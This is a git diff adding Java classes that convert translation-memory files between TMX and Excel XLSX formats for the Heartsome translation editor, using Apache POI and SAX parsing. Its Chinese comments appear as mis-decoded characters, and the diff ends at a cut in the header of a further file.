b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/xlsx/Excel2007Writer.java @@ -0,0 +1,188 @@ +/** + * Excel2007Writer.java + * + * Version information : + * + * Date:2013-7-8 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.converter.xlsx; + +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.IOException; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.bean.TmxSegement; +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.common.util.TextUtil; + +import org.apache.poi.ss.usermodel.Cell; +import org.apache.poi.ss.usermodel.CellStyle; +import org.apache.poi.ss.usermodel.CreationHelper; +import org.apache.poi.ss.usermodel.Font; +import org.apache.poi.ss.usermodel.IndexedColors; +import org.apache.poi.ss.usermodel.RichTextString; +import org.apache.poi.ss.usermodel.Row; +import org.apache.poi.ss.usermodel.Sheet; +import org.apache.poi.ss.usermodel.Workbook; +import org.apache.poi.xssf.streaming.SXSSFWorkbook; +import org.apache.poi.xssf.usermodel.XSSFCellStyle; +import org.apache.poi.xssf.usermodel.XSSFFont; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.swt.widgets.Display; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * @author yule + * @version + * @since JDK1.6 + */ +public class Excel2007Writer { + private static final Logger LOGGER = LoggerFactory.getLogger(Tmx2xlsx.class); + private Workbook wb; + + private FileOutputStream out; + + private int lastIndex = 1; + + private CreationHelper createHelper; + + private Sheet sh; + private Row rowHeader; + + public List cellStyle_Cache; + + /** + * + */ + public Excel2007Writer(File file, int cache_size) { + wb = new SXSSFWorkbook(cache_size); + try { + out = new FileOutputStream(file); + } catch (FileNotFoundException e) { + LOGGER.error("", e); + } + createHelper = wb.getCreationHelper(); + sh = wb.createSheet(); + + rowHeader = sh.createRow(0); + } + + public void witerTmxTU(List tus, boolean writeFullText) throws IOException { + + if (null == tus || tus.isEmpty()) { + return; + } + TmxTU tu = null; + List temp = new ArrayList(5); + int i = 0; + for (; i < tus.size(); i++) { + temp.clear(); + tu = tus.get(i); + if (tu.getSource() != null) { + temp.add(tu.getSource()); + } + + if (tu.getSegments() != null) { + temp.addAll(tu.getSegments()); + } + Row row = sh.createRow((lastIndex + i)); + + // 为æ¯ä¸€è¡Œæ·»åŠ æ•°æ® + for (TmxSegement segment : temp) { + int cellIndex = getLangIndex(rowHeader, segment); + if (-1 == cellIndex) { + cellIndex = addLangCell(rowHeader, segment); + } + RichTextString createRichTextString = null; + if (writeFullText) { + createRichTextString = createHelper.createRichTextString(TextUtil.resetSpecialString(segment.getFullText())); + } else { + createRichTextString = createHelper.createRichTextString(TextUtil.resetSpecialString(segment.getPureText())); + } + Cell createCell = row.createCell(cellIndex); + createCell.setCellStyle(getWrapedCell()); + createCell.setCellValue(createRichTextString); + } + } + lastIndex = lastIndex + i; + // :使用固定的列宽 + // 设置宽度:此处比较耗时 + // for(Cell cell : rowHeader){ + // sheet.autoSizeColumn(cell.getColumnIndex()); + // } + tus.clear(); + } + + public void outZip() { + try { + wb.write(out); + out.close(); + } catch (IOException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + ((SXSSFWorkbook) wb).dispose(); + } + + private int getLangIndex(Row header, TmxSegement segment) { + for (Cell cell : header) { + if (segment.getLangCode().equalsIgnoreCase(cell.toString())) { + return cell.getColumnIndex(); + } + } + return -1; + } + + private CellStyle getWrapedCell() { + if (cellStyle_Cache == null) { + cellStyle_Cache = new ArrayList(); + } + if (cellStyle_Cache.isEmpty()) { + final CellStyle cellStyle = wb.createCellStyle(); + cellStyle.setWrapText(true); + + Display.getDefault().syncExec(new Runnable() { + @Override + public void run() { + org.eclipse.swt.graphics.Font font = JFaceResources.getFontRegistry().get( + "net.heartsome.cat.te.ui.tmxeditor.font"); + if (null != font) { + Font createFont = wb.createFont(); + createFont.setFontName(font.getFontData()[0].getName()); + createFont.setFontHeightInPoints((short) font.getFontData()[0].getHeight()); + cellStyle.setFont(createFont); + } + } + }); + cellStyle_Cache.add(cellStyle); + } + return cellStyle_Cache.get(0); + } + + private int addLangCell(Row header, TmxSegement segment) { + int CellNum = header.getLastCellNum(); + if (-1 == CellNum) { + CellNum = 0; + } + Cell createCell = header.createCell(CellNum); + CellStyle cellStyle = wb.createCellStyle(); + XSSFFont headerFont = (XSSFFont) wb.createFont(); + headerFont.setBold(true); + cellStyle.setFillForegroundColor(IndexedColors.GREY_25_PERCENT.getIndex()); + cellStyle.setFillPattern(XSSFCellStyle.SOLID_FOREGROUND); + cellStyle.setFont(headerFont); + createCell.setCellValue(segment.getLangCode()); + createCell.setCellStyle(cellStyle); + sh.setColumnWidth(CellNum, (100 * 7 + 5) / 7 * 256); + return CellNum; + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/xlsx/Row.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/xlsx/Row.java new file mode 100644 index 0000000..062e51c --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/xlsx/Row.java @@ -0,0 +1,83 @@ +/** + * Row.java + * + * Version information : + * + * Date:2013-7-17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.converter.xlsx; + +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.bean.TmxSegement; +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.common.util.TextUtil; + +/** + * @author yule + * @version + * @since JDK1.6 + */ +public class Row { + /** + * è¡Œå·ï¼Œä»Ž1开始 + */ + private int rowNumber; + /** + * æ¯ä¸€è¡Œçš„表格 + */ + private List cells; + + /** @return the rowNumber */ + public int getRowNumber() { + return rowNumber; + } + /** @param rowNumber the rowNumber to set */ + public void setRowNumber(int rowNumber) { + this.rowNumber = rowNumber; + } + /** @return the cells */ + public List getCells() { + return cells; + } + /** @param cells the cells to set */ + public void setCells(List cells) { + this.cells = cells; + } + + public void addCell(Cell e){ + if(this.cells==null){ + this.cells = new ArrayList(); + } + this.cells.add(e); + } + public TmxTU toTmxTu() { + TmxTU tu = new TmxTU(); + TmxSegement seg = null ; + String cellContent = null ; + for(int i=0 ; i< cells.size() ;i++ ){ + Cell cell = cells.get(i); + cellContent =cell.getCellConentent(); + if(null!= cell && null != cellContent && !cellContent.trim().isEmpty()){ + cellContent = TextUtil.cleanSpecialString(cellContent); + seg = new TmxSegement(); + seg.setFullText(cellContent); + seg.setPureText(cellContent); + seg.setLangCode(cell.getLangCode()); + if(i==0){ + tu.setSource(seg); + }else{ + tu.appendSegement(seg); + } + } + + } + return tu; + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/xlsx/Tmx2xlsx.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/xlsx/Tmx2xlsx.java new file mode 100644 index 0000000..51059e5 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/xlsx/Tmx2xlsx.java @@ -0,0 +1,118 @@ +/** + * Tmx2xlsx.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.core.converter.xlsx; + +import java.io.File; +import java.io.IOException; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.document.TmxReadException; +import net.heartsome.cat.document.TmxReader; +import net.heartsome.cat.te.core.converter.AbstractTmx2File; +import net.heartsome.cat.te.core.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class Tmx2xlsx extends AbstractTmx2File { + + private static final Logger LOGGER = LoggerFactory.getLogger(Tmx2xlsx.class); + + public static final String NAME = "xlsx"; + + private Excel2007Writer writer; + + private static final int size = 1024; + + public void doCovnerter(String tmxFile, File targetFile, IProgressMonitor monitor) throws Exception { + writer = new Excel2007Writer(targetFile, size); + try { + tmxReader = new TmxReader(new File(tmxFile)); + } catch (TmxReadException e) { + LOGGER.error("", e); + writer.outZip();// close the outputStream + throw new Exception(Messages.getString("tmxdata.TmxFileContainer.parseTmxFileError")); + } + TmxTU tuTemp = null; + List tus = new ArrayList(100); + + int total = tmxReader.getTotalTu() / size; + monitor.beginTask("", total == 0 ? 1 : total); + try { + while (true) { + tuTemp = tmxReader.read().getTu(); + if (null == tuTemp) { + break; + } + if (tus.size() < size) { + tus.add(tuTemp); + continue; + } + + try { + if (monitor.isCanceled()) { + return; + } + writer.witerTmxTU(tus, false); + monitor.worked(1); + tus.clear(); + } catch (IOException e) { + LOGGER.error("写入文件出错", e); + throw new Exception(Messages.getString("converter.tmx2xlsx.writeTmx.error")); + } + + } + + if (!tus.isEmpty()) { + try { + if (monitor.isCanceled()) { + return; + } + writer.witerTmxTU(tus, false); + monitor.done(); + tus.clear(); + } catch (IOException e) { + LOGGER.error("写入文件出错", e); + throw new Exception(Messages.getString("converter.tmx2xlsx.writeTmx.error")); + } + } + } catch (Exception e) { + throw e; + } finally { + writer.outZip(); + monitor.done(); + } + + } + + public static void main(String[] args) throws IOException { + Tmx2xlsx conver = new Tmx2xlsx(); + File file = new File("E:/bigTmxTest/a1_temp_test.xlsx"); + if (!file.exists()) { + file.createNewFile(); + } + long start = System.currentTimeMillis(); + try { + // conver.doCovnerter("e:/bigTmxTest/a1.tmx", file); + } catch (Exception e) { + e.printStackTrace(); + } + System.out.println("ALL转æ¢ç”¨æ—¶:" + (System.currentTimeMillis() - start)); + System.out.println("source Size:=>+" + new File("e:/bigTmxTest/a1.tmx").length() / 1024 + "kb"); + System.out.println("Taget Size:=>" + file.length() / 1024 + "KB"); + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/xlsx/Xlsx2Tmx.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/xlsx/Xlsx2Tmx.java new file mode 100644 index 0000000..af2c420 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/xlsx/Xlsx2Tmx.java @@ -0,0 +1,144 @@ +/** + * Xlsx2Tmx.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.core.converter.xlsx; + +import java.io.File; +import java.io.FileNotFoundException; +import java.io.IOException; + +import javax.xml.parsers.ParserConfigurationException; + +import net.heartsome.cat.te.core.bean.File2TmxConvertBean; +import net.heartsome.cat.te.core.converter.tbx.AbstractWriter; +import net.heartsome.cat.te.core.converter.tbx.AppendTmxWriter; +import net.heartsome.cat.te.core.converter.tbx.Model2String; +import net.heartsome.cat.te.core.converter.tbx.TmxWriter; +import net.heartsome.cat.te.core.resource.Messages; + +import org.apache.poi.openxml4j.exceptions.OpenXML4JException; +import org.eclipse.core.runtime.IProgressMonitor; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.xml.sax.SAXException; + +public class Xlsx2Tmx extends net.heartsome.cat.te.core.converter.AbstractFile2Tmx { + /** + * 记录日志 + */ + private static final Logger LOGGER = LoggerFactory.getLogger(Xlsx2Tmx.class); + + private String attString; + + public void doCovnerter(File2TmxConvertBean file2TmxBean, IProgressMonitor monitor) throws Exception { + Xlsx2TmxHelper tmxConver = new Xlsx2TmxHelper(); + attString = Model2String.getCustomArributeXML(file2TmxBean.customeAttr); + AbstractWriter writer = getWriter(file2TmxBean); + if (writer instanceof TmxWriter) { + TmxWriter tmxWriter = (TmxWriter) writer; + tmxWriter.setAttibuteString(attString); + + } + // writer.writeHeader(file2TmxBean.srcLangCode); + try { + tmxConver.parseXlsxFileAndWriteTmxBody(file2TmxBean.sourceFilePath, writer, monitor); + } catch (ParserConfigurationException e) { + LOGGER.error("", e); + throw new Exception(Messages.getString("converter.xlsx2tmx.parseExcle.error")); + } catch (SAXException e) { + LOGGER.error("", e); + if ("LANG-CODE-ERORR".equals(e.getMessage())) { + throw new Exception(Messages.getString("converter.common.vaild.langcode.error")); + } else if ("DIFF--SRC-LANG-CODE".equals(e.getMessage())) { + throw new Exception(Messages.getString("converter.common.appendtmx.diffsrcLang.error")); + }else if("EMPTY-LANG-CODE".equals(e.getMessage())){ + throw new Exception(Messages.getString("converter.common.vaild.langcode.error")); + }else if ("DUPLICATE-LANG-CODE-ERORR".equals(e.getMessage())){ + throw new Exception(Messages.getString("converter.common.vaild.duplicatelangcode.error")); + } + } catch (IOException e) { + LOGGER.error("", e); + throw new Exception(Messages.getString("converter.xlsx2tmx.writeTmx.error")); + } catch (OpenXML4JException e) { + LOGGER.error("", e); + throw new Exception(Messages.getString("converter.xlsx2tmx.parseExcle.error")); + } finally { + writer.writeEnd(); + writer.closeOutStream(); + monitor.done(); + } + + } + + /** + * 获å–正确的Writer + * @param file2TmxBean + * @return ; + * @throws Exception + */ + public AbstractWriter getWriter(File2TmxConvertBean file2TmxBean) throws Exception { + AbstractWriter tmxWriter = null; + if (file2TmxBean.newTmxFilePath != null && !file2TmxBean.newTmxFilePath.isEmpty()) { + File file = new File(file2TmxBean.newTmxFilePath); + if (!file.exists()) { + try { + file.createNewFile(); + } catch (IOException e) { + LOGGER.error("", e); + } + } + try { + tmxWriter = new TmxWriter(file2TmxBean.newTmxFilePath); + } catch (FileNotFoundException e) { + LOGGER.error("", e); + + } + } else if (file2TmxBean.appendExistTmxFilePath != null && !file2TmxBean.appendExistTmxFilePath.isEmpty()) { + try { + tmxWriter = new AppendTmxWriter(file2TmxBean.appendExistTmxFilePath); + } catch (FileNotFoundException e) { + LOGGER.error("", e); + } catch (Exception e) { + LOGGER.error("", e); + throw new Exception(Messages.getString("converter.common.appendtmx.wrongTmx")); + } + + } + return tmxWriter; + } + + /** + * just for test + * @param args + * ; + */ + public static void main(String[] args) { + + File2TmxConvertBean bean = new File2TmxConvertBean(); + bean.newTmxFilePath = "E:\\bigTmxTest\\small_temp.xlsx.tmx"; + // bean.appendExistTmxFilePath = "e:/bigTmxTest/a.tmx"; + + bean.sourceFilePath = "E:\\bigTmxTest\\small_temp.xlsx"; + + long start = System.currentTimeMillis(); + try { + // tmx.doCovnerter(bean); + } catch (Exception e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + + System.out.println("ALL转æ¢ç”¨æ—¶:" + (System.currentTimeMillis() - start)); + System.out.println("ok"); + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/xlsx/Xlsx2TmxHelper.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/xlsx/Xlsx2TmxHelper.java new file mode 100644 index 0000000..60f04bc --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/xlsx/Xlsx2TmxHelper.java @@ -0,0 +1,346 @@ +/** + * Xlsx2Tmx2.java + * + * Version information : + * + * Date:2013-7-16 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.converter.xlsx; + +import java.io.File; +import java.io.IOException; +import java.io.InputStream; +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashMap; +import java.util.HashSet; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.regex.Pattern; + +import javax.xml.parsers.ParserConfigurationException; +import javax.xml.parsers.SAXParser; +import javax.xml.parsers.SAXParserFactory; + +import net.heartsome.cat.common.bean.TmxHeader; +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.common.locale.Language; +import net.heartsome.cat.common.locale.LocaleService; +import net.heartsome.cat.common.util.LanguageUtils; +import net.heartsome.cat.te.core.bean.TmxTemplet; +import net.heartsome.cat.te.core.converter.tbx.AbstractWriter; +import net.heartsome.cat.te.core.converter.tbx.AppendTmxWriter; + +import org.apache.poi.openxml4j.exceptions.OpenXML4JException; +import org.apache.poi.openxml4j.opc.OPCPackage; +import org.apache.poi.openxml4j.opc.PackageAccess; +import org.apache.poi.xssf.eventusermodel.ReadOnlySharedStringsTable; +import org.apache.poi.xssf.eventusermodel.XSSFReader; +import org.apache.poi.xssf.usermodel.XSSFRichTextString; +import org.eclipse.core.runtime.IProgressMonitor; +import org.xml.sax.Attributes; +import org.xml.sax.ContentHandler; +import org.xml.sax.InputSource; +import org.xml.sax.SAXException; +import org.xml.sax.XMLReader; +import org.xml.sax.helpers.DefaultHandler; + +/** + * 采用sax解æžxmlæµ + * @author yule + * @version + * @since JDK1.6 + */ +public class Xlsx2TmxHelper { + + private AbstractWriter tmxWriter; + + private List cache = new ArrayList(cache_size); + + private static final int cache_size = 500; + + private Map langCodes = new HashMap(); + + private IProgressMonitor monitor; + + public String getSrcLang() { + return langCodes.get("A"); + } + + public void parseXlsxFileAndWriteTmxBody(String fileName, AbstractWriter tmxWriter, IProgressMonitor monitor) + throws ParserConfigurationException, SAXException, IOException, OpenXML4JException { + this.tmxWriter = tmxWriter; + this.monitor = monitor; + File file = new File(fileName); + long length = file.length(); + monitor.beginTask("", countTotal(length)); + OPCPackage p = OPCPackage.open(fileName, PackageAccess.READ); + ReadOnlySharedStringsTable strings = new ReadOnlySharedStringsTable(p); + XSSFReader xssfReader = new XSSFReader(p); + XSSFReader.SheetIterator iter = (XSSFReader.SheetIterator) xssfReader.getSheetsData(); + try { + while (iter.hasNext()) { + InputStream stream = iter.next(); + parse(stream, strings, tmxWriter); + stream.close(); + // ç›®å‰åªå¤„ç†ç¬¬ä¸€ä¸ªsheet + break; + } + } finally { + p.close(); + } + + monitor.done(); + } + + public int countTotal(long fileLength) { + int m = (int) (fileLength / (1024 * 1024)); + if (m == 0) { + return 1; + } + return m * 4; + } + + public void parse(InputStream sheetInputStream, ReadOnlySharedStringsTable sharedStringsTable, + AbstractWriter tmxWriter) throws ParserConfigurationException, SAXException, IOException { + InputSource sheetSource = new InputSource(sheetInputStream); + SAXParserFactory saxFactory = SAXParserFactory.newInstance(); + SAXParser saxParser = saxFactory.newSAXParser(); + XMLReader sheetParser = saxParser.getXMLReader(); + ContentHandler handler = new XSSFHander(sharedStringsTable); + sheetParser.setContentHandler(handler); + sheetParser.parse(sheetSource); + if (langCodes.isEmpty()) { + throw new SAXException("EMPTY-LANG-CODE"); + } + writeEnd(); + } + + class XSSFHander extends DefaultHandler { + + private final Pattern NUMBER = Pattern.compile("[0-9]"); + + private String lastElementName; + + private boolean isSheredString; + + private StringBuilder lastCellContent = new StringBuilder(); + + private ReadOnlySharedStringsTable sharedStringsTable; + + private Row cRow; + + private Cell cCell; + + /** + * æ¯ä¸€åˆ—çš„è¯­è¨€ä»£ç  + */ + + /** + * + */ + public XSSFHander(ReadOnlySharedStringsTable sharedStringsTable) { + this.sharedStringsTable = sharedStringsTable; + + } + + /** + * (non-Javadoc) + * @see org.xml.sax.helpers.DefaultHandler#startElement(java.lang.String, java.lang.String, java.lang.String, + * org.xml.sax.Attributes) + */ + @Override + public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { + lastElementName = qName; + // 开始读å–ä¸€è¡Œæ•°æ® + if ("row".equals(qName)) { + String currRow = attributes.getValue("r"); + cRow = new Row(); + cRow.setRowNumber(Integer.parseInt(currRow)); + } + if ("c".equals(qName)) { + String value = attributes.getValue("t"); + if ("inlineStr".equals(value)) { + isSheredString = false; + } else { + isSheredString = true; + + } + cCell = new Cell(); + cCell.setCellNumber(getCellPosition(attributes.getValue("r"))); + // TODO :添加所有列的语言 + // if("A".equals(cCell.getCellNumber()) || "B".equals(cCell.getCellNumber())){ + cRow.addCell(cCell); + // } + } + } + + /** + * (non-Javadoc) + * @see org.xml.sax.helpers.DefaultHandler#endElement(java.lang.String, java.lang.String, java.lang.String) + */ + @Override + public void endElement(String uri, String localName, String qName) throws SAXException { + // 处ç†excelçš„è¡Œ + if ("row".equals(qName)) { + // 如果为第一行ä¸æ·»åŠ åˆ°ç¼“存中 + if (cRow.getRowNumber() == 1) { + if (!validateLangs(cRow)) { + throw new SAXException("LANG-CODE-ERORR"); + } + if (isHasDuplicateLangCode()) { + throw new SAXException("DUPLICATE-LANG-CODE-ERORR"); + } + if (!validateAppend()) { + throw new SAXException("DIFF--SRC-LANG-CODE"); + } + String xmlDecl = TmxTemplet.genertateTmxXmlDeclar(); + tmxWriter.writeXmlString(xmlDecl); + TmxHeader header = TmxTemplet.generateTmxHeader(getSrcLang(), "unknown", "sentence", + "Microsoft Excel", null, null, null); + tmxWriter.writeXmlString("\n"); + tmxWriter.writeHeader(TmxTemplet.header2Xml(header)); + tmxWriter.writeXmlString("\n"); + } else { + if (cache_size > cache.size()) { + if (cRow.getCells() != null) { + cache.add(cRow.toTmxTu()); + } + } else { + if (monitor.isCanceled()) { + throw new SAXException(""); + } + writeTmxTU(cache, tmxWriter); + monitor.worked(1); + } + } + + lastElementName = null; + } + if (!isSheredString) { + if ("t".equals(qName)) { + cCell.setCellConentent(lastCellContent.toString().trim()); + cCell.setLangCode(langCodes.get(cCell.getCellNumber())); + lastCellContent.delete(0, lastCellContent.length()); + } + } else { + if ("v".equals(qName)) { + int idx = -1; + try { + idx = Integer.parseInt(lastCellContent.toString().trim()); + XSSFRichTextString rtss = new XSSFRichTextString(sharedStringsTable.getEntryAt(idx)); + cCell.setCellConentent(rtss.toString()); + cCell.setLangCode(langCodes.get(cCell.getCellNumber())); + lastCellContent.delete(0, lastCellContent.length()); + } catch (NumberFormatException e) { + + } + + } + } + } + + /** + * (non-Javadoc) + * @see org.xml.sax.helpers.DefaultHandler#characters(char[], int, int) + */ + @Override + public void characters(char[] ch, int start, int length) throws SAXException { + if (!isSheredString) { + if ("t".equals(lastElementName)) { + lastCellContent.append(ch, start, length); + } + } else { + if ("v".equals(lastElementName)) { + lastCellContent.append(ch, start, length); + } + } + } + + public boolean validateLangs(Row row) { + + String lang = null; + if (null == row || row.getCells() == null) { + return false; + } + for (Cell cell : row.getCells()) { + lang = cell.getCellConentent(); + String cellPostion = cell.getCellNumber(); + // TODO åˆå§‹åŒ–è¯­è¨€ä»£ç  + if (null != lang) { + langCodes.put(cellPostion, lang); + } else { + return false; + } + + } + if (langCodes.isEmpty()) { + return false; + } + + // for test + // 验è¯è¯­è¨€ä»£ç  + Map defaultLanguage = LocaleService.getDefaultLanguage(); + Collection values = langCodes.values(); + for (String value : values) { + String convertLangCode = LanguageUtils.convertLangCode(value); + if (defaultLanguage.get(convertLangCode) == null) { + return false; + } + } + return true; + } + + public boolean isHasDuplicateLangCode() { + Collection values = langCodes.values(); + Set temp = new HashSet(); + for (String value : values) { + String convertLangCode = LanguageUtils.convertLangCode(value); + temp.add(convertLangCode); + } + if (values.size() != temp.size()) { + return true; + } + return false; + + } + + private String getCellPosition(String cellNumber) { + return NUMBER.matcher(cellNumber).replaceAll(""); + } + } + + private void writeTmxTU(List cache, AbstractWriter tmxWriter) { + if (cache.isEmpty()) { + return; + } + tmxWriter.writeBody(cache); + cache.clear(); + } + + private boolean validateAppend() { + if (tmxWriter instanceof AppendTmxWriter) { + AppendTmxWriter appendTmxWriter = (AppendTmxWriter) tmxWriter; + if (appendTmxWriter.canAppend(getSrcLang())) { + appendTmxWriter.startAppend(); + return true; + } else { + return false; + } + + } + return true; + } + + public void writeEnd() { + writeTmxTU(cache, tmxWriter); + monitor.done(); + } + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/exception/TmxFileParseException.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/exception/TmxFileParseException.java new file mode 100644 index 0000000..ff476ba --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/exception/TmxFileParseException.java @@ -0,0 +1,52 @@ +/** + * TmxFileParseException.java + * + * Version information : + * + * Date:2013-5-29 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.exception; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class TmxFileParseException extends Exception { + /** serialVersionUID. */ + private static final long serialVersionUID = 1L; + private int exceptionCode; + + public TmxFileParseException() { + super(); + } + + public TmxFileParseException(String message) { + super(message); + this.exceptionCode = -1; + } + + public TmxFileParseException(String message, int exceptionCode) { + this(message); + this.exceptionCode = exceptionCode; + } + + public TmxFileParseException(String message, Throwable cause) { + super(message, cause); + exceptionCode = -1; + } + + public TmxFileParseException(String message, Throwable cause, int exceptionCode) { + this(message, cause); + this.exceptionCode = exceptionCode; + } + + public int getExcetpitonCode() { + return exceptionCode; + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/exception/TmxFileValidateException.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/exception/TmxFileValidateException.java new file mode 100644 index 0000000..160ea66 --- /dev/null +++ 